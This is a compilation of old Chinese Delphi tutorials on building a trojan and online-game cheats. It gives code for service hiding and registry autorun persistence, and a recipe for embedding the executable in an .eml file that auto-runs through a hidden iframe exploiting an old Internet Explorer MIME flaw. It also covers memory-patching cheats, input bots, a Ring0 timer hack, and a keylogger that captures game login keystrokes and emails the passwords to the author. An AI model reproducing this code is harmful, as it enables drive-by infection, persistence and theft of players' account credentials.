procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterServiceProcess(GetCurrentProcessID, 1);//注册服务
end;
而GetCurrentProcessID是得本程序的程序ID,1表示为当进程注册成为系统服务。
3、把程序在下次系统起动时加载。首先我们应该在uses下加入registry单元,然后在主窗口的FormCreate事件里把本程序加入到windows注册表里的自动运行项(HKEY_LOCAL_MACHINE\\Software\MicroSoft\Windows\CurrentVersion\Run)里面。好了,我们看看具体程序怎么实现:
RegF:=TRegistry.Create;//创建Registry组件,这个组件是专门针对注册表操作的组件
RegF.RootKey :=HKEY_LOCAL_MACHINE;//把根键设为HKEY_LOCAL_MACHINE
RegF.OpenKey('Software\MicroSoft\Windows\CurrentVersion\Run',True);//打开Software\MicroSoft\Windows\CurrentVersion\Run子键
RegF.WriteString('sys',ParamStr(0));//在里面写入本程序的路径
RegF.Free;//释放Registry组件。
好了,以上我们所做成的就是一个木马的框架了,下面我们看看怎么把这个程序打包在*.eml程序里面。而这时我们要把我们的程序变成BASE64编码才能嵌入*.eml文件当中,在这里我们省点事,用foxmail搞定吧~。首先我们在foxmail里面创建一封邮件并保存。打开发件箱,你会发现这封邮件在里面。用右件单击这封邮件,在弹出菜单中单击“原始信息”,再点击全部,这时你就会在filename="Project1.exe"一些“乱码”,这些乱码就是变成BASE64编码的程序。
现在先把这些BASE64编码的程序放在一边,我们来看看这个特殊邮件是怎么实现的。通常我们知道一个邮件分为包头,正文,副件,包尾组成的,在这里,我会对整个过程序进行一个解析:
1、打开记事本。
2、我们来写在记事本里写入包头信息:
From: "xxxxx"//邮件来自的地址,你没有那么笨会把自己的邮件地址写在这里吧,呵呵~
Subject: mail//邮件标题。
Date: Thu, 2 Nov 2000 13:27:33 +0100//日期
MIME-Version: 1.0//MIME的版本信息
Content-Type: multipart/related;  //联接的类型。
 type="multipart/alternative";
 boundary="1"
X-Priority: 3//优先级
X-MSMail-Priority: Normal//微软邮件优先级
X-Unsent: 1//未寄出信息
3、写入正文内容,这一部份以HTML邮件形式写入并在正文处写入一个内嵌框架,框架打开的是嵌入附件的标识,如:
--1
Content-Type: multipart/alternative;
 boundary="2"
--2
Content-Type: text/html;
 charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>//而THE-CID就是附件的标识
ok<BR>
</BODY>
</HTML>
--2--

4、写入邮件的附件部份:
--1
Content-Type: audio/x-wav;
      name="XX.exe" //此处为生成的临时文件的文件名
Content-Transfer-Encoding: base64 //编码方式
Content-ID: <THE-CID> //副件的连接ID

……… //把你刚刚用Foxmail编好的 base64编码的可执行程序拷在这里吧

5、最后写入包尾,其实包尾只有一句话,那就是:

------=_NextPart_000_0009_01C2EECC.16E8F4A0--

这样我们就完成了整个邮件包的制作,然后把其存为*.txt文件,导入foxmail里,最后把它倒出为*.eml文件。这样我们的打包过程也就结束了。双击一下我们刚生成的邮件文件,这时它会执行你刚刚所编写的木马文件~~(哈哈,害人害已敢吧~)
最后我们如果把这个文件插入网页呢?其实方法很简单,我们只需要建立一个内嵌框架把那个*.eml文件当作网页写入就可以了,我们看一下具体代码:
<html>
<body>
<iframe name="I1" src="XX.eml" width="0" height="0" marginwidth="1" marginheight="1" border="0" frameborder="0">//XX.eml就是我们刚刚导出的*.eml文件
</iframe>
</body>
</html>
好了,我们已经看清楚了这类木马的整个制作过程,试着自己也写一下,不过请不要害人呀,如果您是win98+IE5.5以下的读者请上微软的网站:http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp 去下载一个补丁装一下吧,不要向我一样的中别人的招,请也不要用此技术到处害人哦~~~

《旧文章整理》内存之旅

在很早以前就有人开发游戏外挂了,前些年,人们把对于内存控制的外挂叫做“游戏修改器”。但我们不得不承认“游戏修改器”也是游戏外挂的一种。
现在很多游戏都是把一些信息存入内存单元的,那么我们只需要修改具体内存值就能修改游戏中的属性,很多网络游戏也不外于此。
曾几何时,一些网络游戏也是可以用内存外挂进行修改的,后来被发现后,这些游戏就把单一内存地址改成多内存地址校验,加大了修改难度,不过仍然可以通过内存分析器可以破解的。诸如“FPE”这样的软件便提供了一定的内存分析功能。
“FPE”是基于内存外挂的佼佼者,是家喻户晓的游戏修改软件。很多同类的软件都是模仿“FPE”而得到玩家的认可。而“FPE”实现的技术到现在都没有公开,很多人只能够通过猜测“FPE”的实现方法,实现同类外挂。笔者也曾经模仿过“FPE”实现相应的功能,如“内存修改”、“内存查询”等技术。稍后会对此技术进行剖析。
既然要做内存外挂,那么就必须对Windows的内存机制有所了解。计算机的内存(RAM)总是不够用的,在操作系统中内存就有物理内存和虚拟内存之分,因为程序创建放入物理内存的地址都是在变化的,所以在得到游戏属性时并不能够直接访问物理内存地址。在v86模式下,段寄存器使用方法与实模式相同,那么可以通过段寄存器的值左移4位加上地址偏移量就可以得到线性地址,而程序创建时在线性地址的中保留4MB-2GB的一段地址,游戏中属性便放于此。在windows中把虚拟内存块称之为页,而每页为4KB,在访问内存时读取游戏属性时,为了不破坏数据完整性的快速浏览内存地址值,最好一次访问一页。
在操作进程内存时,不需要再使用汇编语言,Windows中提供了一些访问进程内存空间的API,便可以直接对进程内存进行操作。但初学者一般掌握不了这一项技术,为了使初学者也能够对内存进行操作,做出基于内存控制的外挂,笔者把一些内存操作及一些内存操作逻辑进行了封装,以控件形式提供给初学者。控件名为:MpMemCtl。
初学者在使用此控件时,要先安装外挂引擎控件包(在此后的每篇文章中外挂引擎控件包仅提供与该文章相应的控制控件),具体控件安装方式,请参阅《Delphi指南》,由于篇幅所限,恕不能详细提供。
在引擎安装完成后,便可以在Delphi中的组件栏内,找到[MP GameControls]控件组,其中可以找到[MpMemCtl]控件。初学者可以使用此控件可以对内存进行控制。
一、  得到进程句柄
需要操作游戏内存,那么首先必须确认要操作的游戏,而游戏程序在运行时所产生的每一个进程都有一个唯一的句柄。
使用控件得到句柄有三种方法:
1、  通过控件打开程序得到句柄。
在控件中,提供了startProgram方法,通过该方法,可以打开程序得到进程句柄,并且可以返回进程信息。

PProcInfo: PROCESS_INFORMATION;
MpMemCtl.startProgram(
FilePath:String;                           //程序路径
var aProc_Info:PROCESS_INFORMATION  //进程信息
):BOOLEAN

该方法提供了两个参数,第一个参数为要打开的程序路径,第二个参数为打开程序后所创建进程的进程信息。使用这个方法在得到进程信息的同时,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。其应用实例如下:
Var
  PProcInfo: PROCESS_INFORMATION;
begin
MpMemCtl1.startProgram(edit1.Text, PProcInfo)

    2、通过控件根据程序名称得到句柄。
在控件中,对系统运行进程也有了相应的描述,控件提供了两个方法,用于根据程序名称得到相应的进程句柄。getProcIDs()可以得到系统现在所运行的所有程序的名称列表。getProcID()可以通过所运行程序名称,得到相应进程的句柄。

getProcIDs():TStrings                 //所返回为多行字符串型

getProcID(
aProcName:String          //应用程序名称
):Thandle;                //应用程序进程句柄

其应用实例如下:
首先可以通过getProcIDs()并把参数列表返回ComboBox1.Items里:
ComboBox1.Items:=MpMemCtl1.getProcIDs();
   
接着可以通过getProcID()得到相应的进程句柄,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。
MpMemCtl1.getProcID(ComboBox1.Text)

3、通过控件根据窗口名称得到句柄。
在控件中,控件提供了两个方法,用于根据窗口名称得到相应的进程句柄。可以通过getALLWindow()得到所有在进程中运行的窗口。getWinProcHandle()可以通过相应的窗口名称,得到相应的进程的句柄。

getALLWindow(
aHandle:THandle      //传入当前窗口的句柄
):TStrings;            //返回当前所有运行窗口的名称


getWinProcHandle(
aWindowName:String      //传入当前窗口名称
):Thandle;               //返回窗口的句柄

其应用实例如下:
首先可以通过getALLWindow ()并把参数列表返回ComboBox1.Items里:
ComboBox1.Items:=MpMemCtl1. getALLWindow(Handle);
   
接着可以通过getWinProcHandle ()得到相应的进程句柄,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。
MpMemCtl1. getWinProcHandle (ComboBox1.Text);

二、使游戏暂停
在程序中,为了便于更好的得到游戏的当前属性。在控件中提供了游戏暂停方法。只需要调用该方法,游戏便可以自由的暂停或启动。该方法为:pauseProc()

pauseProc(
aType:integer                   //控制类型
)

控制类型只能够传入参数0或1,0代表使游戏暂停,1代表取消暂停。其应用实例如下:
MpMemCtl1.pauseProc(0);   //暂停游戏

MpMemCtl1.pauseProc(1);   //恢复暂停

三、读写内存值
    游戏属性其实寄存在内存地址值里,游戏中要了解或修改游戏属性,可以通过对内存地值的读出或写入完成。
通过控件,要读写内存地址值很容易。可以通过调用控件提供的getAddressValue()及setAddressValue()两个方法即可,在使用方法之前,要确认的是要给ProcHandle属性进行附值,因为对内存的操作必须基于进程。给ProcHandle属性附值的方法,在上文中已经介绍。无论是对内存值进行读还是进行写,都要明确所要操作的内存地址。

getAddressValue(                                  //读取内存方法
aAddress:pointer;                   //操作的内存地址
var aValue:integer                   //读出的值
):Boolean;


setAddressValue(                                  //写入内存方法
aAddress:pointer;                   //操作的内存地址
aValue:integer                      //写入的值
):Boolean;

要注意的是,传入内存地址时,内存地址必须为Pointer型。其应用实例如下:
读取地址值(如果“主角”等级所存放的地址为4549632):
var
  aValue:Integer;
begin
MpMemCtl1.getAddressValue(Pointer(‘4549632’),aValue);
这时aValue变量里的值为内存地址[4549632]的值。
写入地址值:
MpMemCtl1.setAddressValue(Pointer(Strtoint(‘4549632’)),strtoint(87));
通过该方法可以把要修改的内存地址值改为87,即把“主角”等级改为87。
四、内存地址值分析
    在游戏中要想要到游戏属性存放的内存地址,那么就对相应内存地址进行内存分析,经过分析以后才可得到游戏属性存放的人存地址。
控件提供两种基于内存地址的分析方法。一种是按精确地址值进行搜索分析,另一种是按内存变化增减量进行搜索分析。
1、  如果很明确的知道当前想要修改的地址值,那么就用精确地址值进行搜索分析
在游戏中,需要修改人物的经验值,那么首先要从游戏画面上获得经验值信息,如游戏人物当前经验值为9800,需要把经验值调高,那么这时候就需要对人物经验值在内存中搜索得到相应的内存地址,当然很可能在内存中地址值为9800的很多,第一次很可能搜索出若干个地址值为9800的地址。等待经验值再有所变化,如从9800变为了20000时,再次进行搜索,那么从刚刚所搜索到的地址中,便可以进一步获得范围更少的内存地址,以此类推,那么最后可得到经验值具体存放的地址。
如要用控件来实现内存值精确搜索,其实方法很简单,只需要调用该控件的Search()方法即可。但是在搜索之前要确认搜索的范围,正如前文中所说:“而程序创建时在线性地址的中保留4MB-2GB的一段地址”,所以要搜索的地址应该是4MB-2GB之间,所以要把控件的MaxAddress属性设为2GB,把控件的MinAddress属性设为4MB。还有一个需要确认的是需要搜索的值,那么应该把SearchValue属性设置为当前搜索的值。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件(该控件为进度条控件)。

search(
isFirst:Boolean                                //是否是第一次进行搜索
):Boolean


在搜索分析时为了提高搜索效率、实现业务逻辑,那么需要传入一个参数,从而确认是否是第一次进行内存。其应用实例如下:

   maxV:=1024*1024*1024;
   maxV:=2*MaxV;
   minV:=4*1024*1024;
V:=StrToInt(Edit1.Text);
   with MpMemCtl1 do
   begin
     MaxAddress:=maxV;
     MinAddress:=minV;
     SearchValue:=SeaarchV;
     ShowGauge:=Gauge1;
     Search(first)
   end;
  if first then first:=false;
2、  如果不明确当前想要修改的地址值,只知道想要修改的值变大或变小,那么就按内存变化增减量进行搜索分析。
如有些游戏的人物血值不显示出来,但要对人物血值进行修改,那么只有借助于内存量增减变化而进行搜索分析出该人物血值存放的地址。如果人物被怪物打了一下,那么人物血值就会减少,那么这时候就用减量进行搜索分析,如果人物吃了“血”人物血值就会增加,那么这时候就用增量进行搜索分析。经过不断搜索,最后会把范围放血值的内存地址给搜索出来。
如要用控件来实现内存值精确搜索,其实方法很简单,只需要调用该控件的compare()方法即可。MaxAddress、MinAddress属性设置上面章节中有详细介绍,在此不再重提。在此分析中不需要再指定SearchValue属性。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件。

compare (
isFirst:Boolean                                //是否是第一次进行搜索
aType:Integer                                 //搜索分析类型
):Boolean


  在搜索分析时为了提高搜索效率、实现业务逻辑,那么需要传入一个参数,从而确认是否是第一次进行内存。搜索分析类型有两种:如果参数值为0,那么就代表增量搜索。如果参数值为1,那么就代表减量搜索。其应用实例如下:

       if RadioButton1.Checked then v:=0
        else v:=1;
   maxV:=1024*1024*1024;
   maxV:=2*MaxV;
   minV:=4*1024*1024;
   with MpMemCtl1 do
   begin
     MaxAddress:=maxV;
     MinAddress:=minV;
     ShowGauge:=Gauge1;
     compare(first,v);
   end;
  if first then first:=false;
 
五、得到内存地址值
 在控件中,提供获得分析后内存地址列表的方法,只需要调用getAddressList()方法,便可以获得分析过程中或分析结果地址列表。但如果使用的是按内存变化增减量进行搜索分析的方法,那么第一次可能会搜索出来很多的地址,致使返回速度过长,那么建议使用getAddressCount()方法确定返回列表为一定长度后才给予返回。

getAddressList():TStrings                   //返回地址字符串列表

getAddressCount():Integer                  //返回地址字符串列表长度

其应用实例如下:
  if MpMemCtl1.getAddressCount() <100 then
listbox1.Items:=MpMemCtl1.getAddressList();

通过以上五个步骤,便可以整合成一个功能比较完备的,基于内存控制方法的游戏外挂。有了“FPE”的关键部份功能。利用此工具,通过一些方法,不仅仅可以分析出来游戏属性单内存地址,而且可以分析出一部份多内存游戏属性存放地址。

《旧文章整理》网络游戏外挂制作

在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):
1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。
2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。
3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。
4、加速式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock2技术…………
  以下就用Delphi实现网络游戏外挂。

上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos(

    LPPOINT lpPoint  // address of structure for cursor position  
   );
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL SetCursorPos(

    int X, // horizontal position  
    int Y  // vertical position
   );
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:
VOID mouse_event(

    DWORD dwFlags, // flags specifying various motion/click variants
    DWORD dx, // horizontal mouse position or position change
    DWORD dy, // vertical mouse position or position change
    DWORD dwData, // amount of wheel movement
    DWORD dwExtraInfo  // 32 bits of application-defined information
   );
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

  getcursorpos(point);
  setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
  mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID keybd_event(

    BYTE bVk, // virtual-key code
    BYTE bScan, // hardware scan code
    DWORD dwFlags, // flags specifying various function options
    DWORD dwExtraInfo  // additional data associated with keystroke
   );
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT MapVirtualKey(

    UINT uCode, // virtual-key code or scan code
    UINT uMapType  // translation to perform
   );
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

  keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
  keybd_event(65,mapvirtualkey(65,0),0,0);
  keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
  keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
    具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:
    在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
    1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName  // pointer to window name
   );
    2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD GetWindowThreadProcessId(

    HWND hWnd, // handle of window
    LPDWORD lpdwProcessId  // address of variable for process identifier
   );
    3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE OpenProcess(

    DWORD dwDesiredAccess, // access flag
    BOOL bInheritHandle, // handle inheritance flag
    DWORD dwProcessId  // process identifier
   );
    在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
    4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL WriteProcessMemory(

    HANDLE hProcess, // handle to process whose memory is written to  
    LPVOID lpBaseAddress, // address to start writing to
    LPVOID lpBuffer, // pointer to buffer to write data to
    DWORD nSize, // number of bytes to write
    LPDWORD lpNumberOfBytesWritten  // actual number of bytes written
   );
    5、下面用CloseHandle关闭进程句柄就完成了。
    这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:
const
  ResourceOffset: dword = $004219F4;
  resource: dword = 3113226621;
  ResourceOffset1: dword = $004219F8;
  resource1: dword = 1940000000;
  ResourceOffset2: dword = $0043FA50;
  resource2: dword = 1280185;
  ResourceOffset3: dword = $0043FA54;
  resource3: dword = 3163064576;
  ResourceOffset4: dword = $0043FA58;
  resource4: dword = 2298478592;
var
  hw: HWND;
  pid: dword;
  h: THandle;
  tt: Cardinal;
begin
  hw := FindWindow('XX', nil);
  if hw = 0 then
    Exit;
  GetWindowThreadProcessId(hw, @pid);
  h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  if h = 0 then
    Exit;
  if flatcheckbox1.Checked=true then
  begin
    WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
  end;
  if flatcheckbox2.Checked=true then
  begin
    WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
  end;
  MessageBeep(0);
  CloseHandle(h);
  close;
    这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
    HWND FindWindow(

      LPCTSTR lpClassName, // pointer to class name
      LPCTSTR lpWindowName  // pointer to window name
     );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId  // identity of thread to install hook for
   );
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
    而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
 if findedtitle then   //如果发现窗口后
 begin
  if (peventmsg(lparam)^.message = WM_KEYDOWN) then  //消息等于键盘按下
   hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
  if length(hookkey) > 0 then  //如果获得按键名称
  begin
   Write(hookkeyFile,hookkey); //把按键名称写入文本文件
   hookkey := '';
  end;
 end;
end;
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
   assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
   reset(ReadFile); //设为读取方式
   try
    While not Eof(ReadFile) do //当没有读到文件尾
    begin
     Readln(ReadFile,s,j); //读取文件行
     body:=body+s;
    end;
   finally
    closefile(ReadFile); //关闭文件
   end;
   nmsmtp1.EncodeType:=uuMime; //设置编码
   nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
   nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
   nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
   nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
   nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
   nmsmtp1.SendMail; //发送邮件

我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;  
const ZDH = $03;        // 设一个中断号
var
  IDT : array [0..5] of byte; // 保存IDT表
  OG : dword;          //存放旧向量
begin
   asm
     push ebx
     sidt IDT                  //读入中断描述符表
     mov ebx, dword ptr [IDT+2] //IDT表基地址
     add ebx, 8*ZDH  //计算中断在中断描述符表中的位置
     cli                       //关中断
     mov dx, word ptr [ebx+6]
     shl edx, 16d              
     mov dx, word ptr [ebx]    
     mov [OG], edx      
     mov eax, offset @@Ring0   //指向Ring0级代码段
     mov word ptr [ebx], ax        //低16位,保存在1,2位
     shr eax, 16d
     mov word ptr [ebx+6], ax      //高16位,保存在6,7位
     int ZDH             //中断
     mov ebx, dword ptr [IDT+2]    //重新定位
     add ebx, 8*ZDH
     mov edx, [OG]
     mov word ptr [ebx], dx
     shr edx, 16d
     mov word ptr [ebx+6], dx      //恢复被改了的向量
     pop ebx
     jmp @@exitasm //到exitasm处
    @@Ring0:    //Ring0,这个也是最最最核心的东东
      mov al,$34    //写入8253控制寄存器
      out $43,al
      mov ax,value //写入定时值
      out $40,al    //写定时值低位
      mov al,ah
      out $40,al    //写定时值高位
      iretd         //返回
   @@exitasm:
   end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
